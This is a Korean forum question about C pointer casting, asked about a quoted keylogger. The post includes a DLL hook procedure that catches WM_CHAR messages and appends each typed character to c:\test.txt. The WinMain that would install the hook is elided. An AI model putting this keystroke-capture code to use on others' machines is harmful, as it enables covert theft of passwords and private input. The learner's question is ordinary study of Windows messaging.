mongii님의 키로거코드를 보고 질문입니다...
아래 DLL안의 코드중...
if(((MSG*)lp)->message == (long)WM_CHAR) 은 message라는 멤버와 WM_CHAR가 같은지 확인하는 것 같습니다.
여기서 ((MSG*)lp)->message 가 어떤 동작을 하는지 여쭙니다. ((MSG*)lp)의 의미를 모르겠습니다.
*가 MSG구조체뒤에 붙으면 어떤 의미인지요? 자세한 설명 부탁드립니다. 감사합니다!
================= 키로거.exe의 WinMain()중 일부 =================
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
HWND hWnd;
MSG message;
:
:
================= 키보드 내용을 파일로 저장하는 DLL 코드 ===================
#include <window.h>
__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
if(((MSG*)lp)->message == (long)WM_CHAR)
{
HANDLE hFile;
DWORD dwWrite;
hFile = CreateFile("c:\\test.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, &((MSG*)lp)->wParam, 1, &dwWrite, NULL);
CloseHandle(hFile);
}
return TRUE;
}
|